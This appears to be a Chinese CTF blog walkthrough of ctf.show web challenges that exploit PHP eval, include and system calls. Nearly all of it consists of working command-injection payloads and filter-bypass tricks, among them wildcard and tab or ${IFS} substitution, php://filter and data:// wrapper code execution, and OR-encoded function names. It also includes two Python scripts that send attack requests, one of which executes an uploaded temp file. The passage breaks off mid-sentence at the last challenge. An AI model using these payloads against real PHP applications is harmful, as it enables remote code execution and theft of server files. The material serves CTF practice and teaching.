南神博客
preg_match :匹配正则表达式 模式分隔符后的"i"标记这是一个大小写不敏感的搜索 模式中的\b标记一个单词边界,所以只有独立的单词会被匹配,如: if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) : True if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) : False 小技巧:如果仅仅想要检查某个字符串是否包含另外一个字符串,不要使用 preg_match() , 使用 strpos() 会更快。
题目:
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
即 $c 不能匹配到大小写的flag
payload: ?c=system('tac f*'); linux知识:通配符 * 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file * ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何一个字符 [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0 对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
题目
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这次过滤了system,但是还有其他方法能够执行系统命令
如:
system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。 exec : 执行一个外部程序,回显最后一行,需要用echo输出。 shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。 passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。 pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。 `(反引号):同 shell_exec()
所以构造payload
payload: ?c=passthru('tac f*');
题目
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这一次对于之前的payload是过滤了空格,但是有多种办法可以绕过,讲解如下:
${IFS} 但不能写作 $IFS $IFS$9 %09 <> < $IFS%09
因此得到payload:
?c=passthru("tac%09f*"); 这里这五个,只有%09可以用。因为这里是命令执行不是代码执行。如${IFS}是在shell里用,而这里是在绕过php的正则。 另外同cat功能的函数还有: cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
题目
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
上一关的还能用
因为过滤了分号,所以之前的都失效了,这里可以使用php短标签来闭合执行命令。这里可以用?c=include$_GET[a]?>
然后因为include不能直接包含出flag,所以使用php伪协议来读取flag的base64内容
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
题目
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
继续
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
没影响,继续
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
还是对原payload没有影响,继续
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
还是没影响,只是过滤数字
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
//flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
想比于之前,这一次给的就不是eval直接来执行命令,而是使用的include来进行命令执行。
因为不能带有flag,所以php伪协议来读是不行的(因为必须打完整的flag.php)
伪协议:
总: file:// 协议 php:// 协议 zip:// bzip2:// zlib:// 协议 data:// 协议 http:// 协议 https://协议 phar:// 协议 分: file:// 协议: 条件 allow_url_fopen:off/on allow_url_include :off/on 作用:用于访问本地文件系统。在include()/require()等参数可控的情况下,如果导入非php文件也会被解析为php 用法:1.file://[文件的绝对路径和文件名] 2.[文件的相对路径和文件名] 3.[http://网络路径和文件名] php:// 协议:条件 allow_url_include :仅php://input php://stdin php://memory php://temp 需要on allow_url_fopen:off/on 作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码 php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流) read=(可选) write=(可选) 对read和write,可选过滤器有string.rot13、string.toupper、string.tolower、string.strip_tags、convert.base64-encode & convert.base64-decode 用法举例:php://filter/read=convert.base64-encode/resource=flag.php zip:// bzip2:// zlib:// 协议: 条件:allow_url_fopen:off/on allow_url_include :off/on 作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名 用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名] compress.bzip2://file.bz2 compress.zlib://file.gz 其中phar://和zip://类似 data:// 协议: 条件:allow_url_fopen:on allow_url_include :on 作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 用法:data://text/plain, data://text/plain;base64, 举例:data://text/plain,<?php%20phpinfo();?> data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b 由此可见,web37这道题可以用data://伪协议来执行代码
组合得到payload
c=data://text/plain,<?php%20system("tac%20f*");?>
题目
//flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
这里把php给过滤了,所以我们换个php的短标签,可以把php换成等号
所以payload
?c=data://text/plain,<?=%20system("tac%20f*");?>
//flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
这里是把$c."php"拼接了起来,但是还是可以用命令执行,因为在短标签里面进行了一个<?= ?> 已经闭合了所以不会受到php的影响
还是用上一道题的payload
?c=data://text/plain,<?=%20system("tac%20f*");?>
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤的挺多的,但基本都是数字和特殊符号,可以注意的是他过滤的是中文的括号,没有过滤英文的()
常见的绕过姿势
getallheaders():返回所有的HTTP头信息,返回的是数组而eval要求为字符串,所以要用implode()函数将数组转换为字符串 get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组,不过是二维数组,用var_dump()输出可以看见输出的内容,看见在第几位之后,可以用current()函数来获取其值,详细可以看官方函数。payload:var_dump(current(get_defined_vars())); session_id():session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的phpsessionid,并且这个值我们是可控的。 如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后用hex2bin()函数,即传入?exp=eval(hex2bin(session_id(session_start()))); 并设置cookie:PHPSESSID=706870696e666f28293b session_start 函数是为了开启session 配合使用的函数: print_r(scandir(‘.’)); 查看当前目录下的所有文件名 var_dump() localeconv() 函数返回一包含本地数字及货币格式信息的数组。 current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名 each() 返回数组中当前的键/值对并将数组指针向前移动一步 end() 将数组的内部指针指向最后一个单元 next() 将数组中的内部指针向前移动一位 prev() 将数组中的内部指针倒回一位 array_reverse() 以相反的元素顺序返回数组
首先构造payload输出当前文件下的文件名,因为过滤了特殊符号所以上面print_r(scandir(‘.’));不能直接用
要配合localeconv()和current()来使用
?c=print_r(scandir(current(localeconv())));
flag.php在倒数第二位,然后用show_source输出
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>
这道题过滤了数字和字母(因为后面/i对大小写不敏感),并且不能用异或、取反、自增等操作(过滤$、+、-、^、~),但是可以用|(或)
他这里过滤的数字指的是ascii类型的,所以如%09(tab)这种是没有过滤的,于是可以用此来构造出想用的字母和数字,这里给出网上有的一个脚本
import re import requests url="http://64dc8155-8f3b-4e75-a8e5-dbe633352099.challenge.ctf.show/" a=[] ans1="" ans2="" for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) mya="system" #函数名 这里修改! myb="ls" #参数 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text)
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
这里是$c参数后面接了个>/dev/null 2>&1,百度一下
0 标准输入 1 标准输出 2 错误输出 在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功) 区别: 2>/dev/null 把错误输出到空设备(即丢弃) >/dev/null 2>&1 相当于1>/dev/null 2>&1 即把标准输出丢弃,并且把错误输出输出到标准输出。合计起来就是错误和标准输出都输出到空设备 2>&1 >/dev/null 错误输出到标准输出,即输出到屏幕上,而标准输出被丢弃 重定向> 和 >> 前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部.
输入的内容会被丢弃,该怎么办呢?答案是可以用;或||等进行分割,如?c=ls&&pwd. 执行的时候会将ls给执行而丢弃pwd命令
?c=tac flag.php||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
只是过滤了分号和cat而已,继续用上面的
?c=tac flag.php||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
在上面基础上过滤flag而已,用通配符就可以了
?c=tac f*||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
在上面基础上过滤空格而已,用%09即可
?c=tac%09f*||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
在上面的基础上过滤了数字 $ *
换一下通配符即可
?c=tac%09fla?.???||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
在上面基础上过滤了more less head sort tail,还是没有过滤tac 继续用
?c=tac%09fla?.???||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
还是没有过滤tac
?c=tac%09fla?.???||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了个百分号而已,还是没影响
?c=tac%09fla?.???||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
哦豁,过滤了\x09和\x26
于是想到用<>,但是发现<>和?组合的时候没有输出,于是将上面payload改一下就可以了
?c=tac<>fl\ag.php||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这次居然过滤了tac,但是在web31的时候讲过,另外同cat功能的函数还有:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
?c=nl<>fl\ag.php||ls flag在源代码
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这次过滤了<>,小问题用${IFS}
?c=nl${IFS}fl\ag.php||ls 然后看源代码
但是发现flag改了地方
于是?c=ls${IFS}/||ls发现flag在根目录,所以最终payload为
?c=nl${IFS}/fl\ag||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
<br> 是换行符
当我输入?c=ls时,返回的是
lsflag.php index.php readflag readflag
然后我还是用的上上一个payload
?c=nl${IFS}fl\ag.php||ls
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
¿¿¿¿什么牛马
但是他没有想到吧还能用rev函数
?c=rev${IFS}fla?.php 得到的再reverse一下就是flag
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
把字母过滤了而已,可以用通配符来把flag搞出来
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。 我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
所以payload
?c=/???/????64 ????.??? 然后解码即可
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
这里甚至吧数字都给过滤掉了,还有部分的特殊字符
这里看南神博客,南神原话
“这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。不过之前看过p师傅的一篇无字母数字webshell的文章,这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?进行匹配,即???/???,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?”
发现可以用[]来正则匹配,如???/???[A-Z]就能匹配B-Y,于是为了匹配A-Z就可以从@匹配到[
然后这里有个技巧是使用 . 来执行文件,如创建了一个 a.txt,然后里面写ls
shell里执行 . a.txt,就会执行出ls的结果。
于是构造如下
import requests while True: url = 'http://617464c5-1e4b-4cd8-9ef1-adbb89037d3c.challenge.ctf.show/?c=. /???/????????[@-[]' flag = requests.post(url=url,files={"file":("flag.txt","cat flag.php")}) if("ctf" in flag.text): print(flag.text) break
即可得到flag
还可以看无字母数字的命令执行
//flag in 36.php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); }
可以看的出来题目要求是让我们构造出c = 36,但是这里数字字母都过滤了,也只能用特殊符号来操作了
看了南神